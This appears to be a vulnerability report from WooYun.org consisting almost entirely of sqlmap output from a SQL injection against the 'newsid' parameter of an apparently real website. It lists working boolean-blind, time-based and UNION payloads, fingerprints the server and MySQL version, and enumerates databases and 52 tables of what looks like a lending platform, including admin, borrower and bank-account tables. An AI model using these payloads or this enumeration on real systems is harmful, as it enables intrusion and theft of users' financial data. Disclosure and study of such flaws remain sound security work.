WooYun.org

sqlmap identified the following injection points with a total of 54 HTTP(s) requests:
---
Parameter: newsid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: dirid=72&newsid=144 AND 1142=1142
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: dirid=72&newsid=144 AND (SELECT * FROM (SELECT(SLEEP(5)))eWcC)
    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: dirid=72&newsid=-7333 UNION ALL SELECT NULL,CONCAT(0x7171706b71,0x6d7a6b43515870546953,0x71767a6b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.15
back-end DBMS: MySQL 5.0.12

[*] information_schema
[*] lmd2014
[*] lmdlmd
[*] test
........
Database: lmd2014
[52 tables]
+---------------------+
| actionlogs          |
| activity            |
| admin               |
| adminroles          |
| area                |
| article             |
| assetstable         |
| autotender          |
| autotenderlogs      |
| backinterestdetails |
| backpassword        |
| banks               |
| biao                |
| biaopropertys       |
| borrowers           |
| capitalrecords      |
| cashwithdrawal      |
| city                |
| contract            |
| departments         |
| dir                 |
| emailconfig         |
| fkmessage           |
| hbtype              |
| hbxz                |
| hitsearchs          |
| htmltemplate        |
| interestdetails     |
| investment          |
| irmf                |
| lbpics              |
| loanapplication     |
| loginlog            |
| peoplemanagement    |
| prize               |
| prize_zj            |
| product             |
| province            |
| rechargerecord      |
| recommendeds        |
| riskreserve         |
| settings            |
| sysmessateusers     |
| sysmssage           |
| testtime            |
| testupdate          |
| tjmoney             |
| tjmoneylist         |
| torepaytheloan      |
| toundertakedetails  |
| userbanks           |
| usercontract        |
+---------------------+
.........